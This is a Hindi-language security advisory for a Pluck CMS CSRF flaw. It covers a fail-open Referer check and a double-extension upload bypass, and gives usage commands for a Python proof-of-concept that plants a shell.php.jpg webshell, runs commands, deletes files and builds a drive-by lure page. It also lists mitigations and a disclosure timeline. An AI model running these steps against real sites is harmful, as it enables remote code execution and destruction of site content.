
Pluck CMS CSRF हेतु एडवाइज़री और Python PoC: fail-open Referer जाँच तथा double-extension अपलोड webshell परिनियोजन और दूरस्थ कोड निष्पादन सक्षम करता है।
एक मात्र एडमिन पेज-विज़िट कंटेंट हटाता है, पेज इंजेक्ट करता है, और वेबशेल गिरा देता है
एक नज़र में · · · · · ·
| CVE आईडी | CVE-2026-70376 |
| ट्रैकिंग आईडी | PT-2026-68036 |
| उत्पाद | pluck-cms/pluck — Pluck CMS (फ्लैट-फाइल PHP) |
| प्रभावित | 4.7.x से 4.7.21-dev / वर्तमान master |
| दुर्बलता | CWE-352 (CSRF) · CWE-434 (अप्रतिबंधित अपलोड, प्रवर्धक) |
| CVSS v3.1 | 8.0 — उच्च · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| वेक्टर | नेटवर्क · कोई विशेषाधिकार नहीं · एक एडमिन पेज-विज़िट (UI:R) |
| प्रभाव | कंटेंट विनाश/DoS, संग्रहीत-कंटेंट इंजेक्शन, Apache/mod_php पर RCE |
| पेश किया गया | कमिट f79f916 (दिस॰ 2019) — तब से कमजोर लॉजिक मौजूद है |
| शोधकर्ता | Ilhomjon Rustamov (@IlhomjonR) |
Pluck एडमिन पैनल में कोडबेस में कहीं भी प्रति-अनुरोध CSRF टोकन नहीं हैं।
हर राज्य-परिवर्तनकारी एडमिन क्रिया एक ही फ़ंक्शन requestedByTheSameDomain() द्वारा नियंत्रित होती है, जिसकी एकमात्र सुरक्षा एक Referer-होस्ट तुलना है — और वह जाँच फेल-ओपन होती है: जब अनुरोध में बिल्कुल भी Referer हेडर नहीं होता, तो फ़ंक्शन true लौटाता है और क्रिया की अनुमति दे दी जाती है।
चूँकि एक हमलावर पेज पूरी तरह नियंत्रित करता है कि Referer भेजा जाए या नहीं (<meta name="referrer" content="no-referrer">), कोई भी लॉग-इन एडमिन जो किसी दुर्भावनापूर्ण पेज पर जाता है, उसे क्रॉस-साइट विशेषाधिकार-प्राप्त क्रियाएँ करने के लिए मजबूर किया जा सकता है। कई विनाशकारी क्रियाएँ GET पर चलती हैं, और Pluck PHPSESSID पर कोई SameSite एट्रिब्यूट सेट नहीं करता (ब्राउज़र SameSite=Lax लागू करते हैं, जो टॉप-लेवल GET नेविगेशन पर फिर भी साथ जाता है), इसलिए वे डिफ़ॉल्ट ब्राउज़र सेटिंग्स में क्रॉस-साइट पहुँच योग्य हैं।
एक द्वितीयक अपलोड-फ़िल्टर कमज़ोरी उसी CSRF को shell.php.jpg डबल-एक्सटेंशन फ़ाइल लगाने देती है — जिससे CSRF Apache/mod_php होस्ट पर ड्राइव-बाय RCE में बदल जाता है।
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
एक विदेशी Referer वाला क्रॉस-साइट अनुरोध सही ढंग से अस्वीकार कर दिया जाता है (else शाखा), जो सुरक्षा का झूठा एहसास पैदा करता है — लेकिन हमलावर बस Referer को दबा देता है, फेल-ओपन शाखा को हिट करता है, और अनुरोध की अनुमति दे दी जाती है। इस जाँच के पीछे कोई टोकन परत नहीं है।
यह गेट admin.php में एक बार लागू होता है और पूरे एक्शन स्विच के लिए भरोसा किया जाता है:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite नहीं (प्रवर्धक)Pluck कभी भी session_set_cookie_params() को कॉल नहीं करता, इसलिए PHPSESSID खाली डिफ़ॉल्ट इनहेरिट करता है → ब्राउज़र SameSite=Lax लागू करते हैं, जो टॉप-लेवल GET नेविगेशन पर फिर भी साथ जाता है। इसलिए GET-एक्सपोज़्ड क्रियाएँ (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) एक ही पेज विज़िट से जाली बनाई जा सकती हैं।
data/inc/images.php (RCE प्रवर्धक)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
दोनों जाँचें तुच्छ रूप से बायपास की जा सकती हैं:
$_FILES[...]['type']) → image/jpeg सेट करें;shell.php.jpg .jpg में समाप्त होता है और पास हो जाता है।फ़ाइल images/shell.php.jpg पर लिखी जाती है; मल्टी-एक्सटेंशन हैंडलिंग वाले Apache/mod_php होस्ट पर यह PHP के रूप में निष्पादित होती है।
एक प्रमाणित एडमिन पेज-विज़िट — कोई क्लिक नहीं।
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]जाली बनाने योग्य क्रियाएँ शामिल हैं:
| क्रिया | विधि | प्रभाव |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | किसी भी अपलोड की गई फ़ाइल को हटाएँ |
admin.php?action=deletepage&... | GET | साइट पेज हटाएँ (DoS) |
admin.php?action=module_delete&... | GET | मॉड्यूल हटाएँ |
admin.php?action=logout | GET | एडमिन को लॉग आउट करें |
admin.php?action=editpage | POST | संग्रहीत पेज कंटेंट इंजेक्ट करें |
admin.php?action=images (अपलोड) | POST | shell.php.jpg लगाएँ → RCE |
एक कार्यशील PoC टूलकिट exploit/ में मौजूद है:
pluck_csrf_rce.py — फेल-ओपन लॉजिक साबित करें, CSRF-अपलोड के ज़रिए वेबशेल डालें और कमांड चलाएँ, CSRF से फ़ाइलें हटाएँ, या एक लालच पेज जनरेट करें।csrf_poc.html — पीड़ित एडमिन को दिया जाने वाला स्टैंडअलोन ड्राइव-बाय पेज।pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Python अनुरोध जानबूझकर कोई Referer नहीं भेजते हैं, जो no-referrer नीति के तहत पीड़ित ब्राउज़र का सटीक पुनरुत्पादन करता है। HTTP-परत विषमता जो लॉजिक की पुष्टि करती है:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️
.php.jpg→ RCE चरण के लिए ऐसे Apache/mod_php होस्ट की आवश्यकता होती है जो मल्टी-एक्सटेंशन फ़ाइलों को PHP के माध्यम से चलाता है। जहाँ यह कॉन्फ़िगर नहीं है, वहाँ CSRF अपलोड फिर भी सफल होता है और विनाशकारीdelete/deletepageप्रिमिटिव प्रभावित नहीं होते — CSRF मुख्य बग है; RCE प्रवर्धक है।
Referer/Origin को अविश्वसनीय मानें। Origin हेडर को प्राथमिकता दें और जब वह अनुपस्थित या बेमेल हो तो अस्वीकार करें।deletefile, deletepage, logout आदि को POST में ले जाएँ ताकि SameSite=Lax बेसलाइन सुरक्षा प्रदान करे।session_set_cookie_params() के माध्यम से SameSite=Strict (या Lax), HttpOnly, और Secure सेट करें।| तिथि | घटना |
|---|---|
| 2019-12 | कमजोर requestedByTheSameDomain() लॉजिक पेश किया गया (f79f916) |
| 2026-07-08 | सोर्स-कोड ऑडिट के माध्यम से खोजा गया; एंड-टू-एंड PoC सत्यापित |
| 2026-08-10 | एडवाइज़री तैयार (PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 निर्धारित; एडवाइज़री + PoC प्रकाशित |
यह सामग्री शैक्षिक और सुरक्षात्मक उद्देश्यों के लिए तथा केवल अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित की गई है। इसका उपयोग ऐसी प्रणालियों पर न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपको स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।
खोजा और दस्तावेजित: @IlhomjonR · CVE-2026-70376 · PT-2026-68036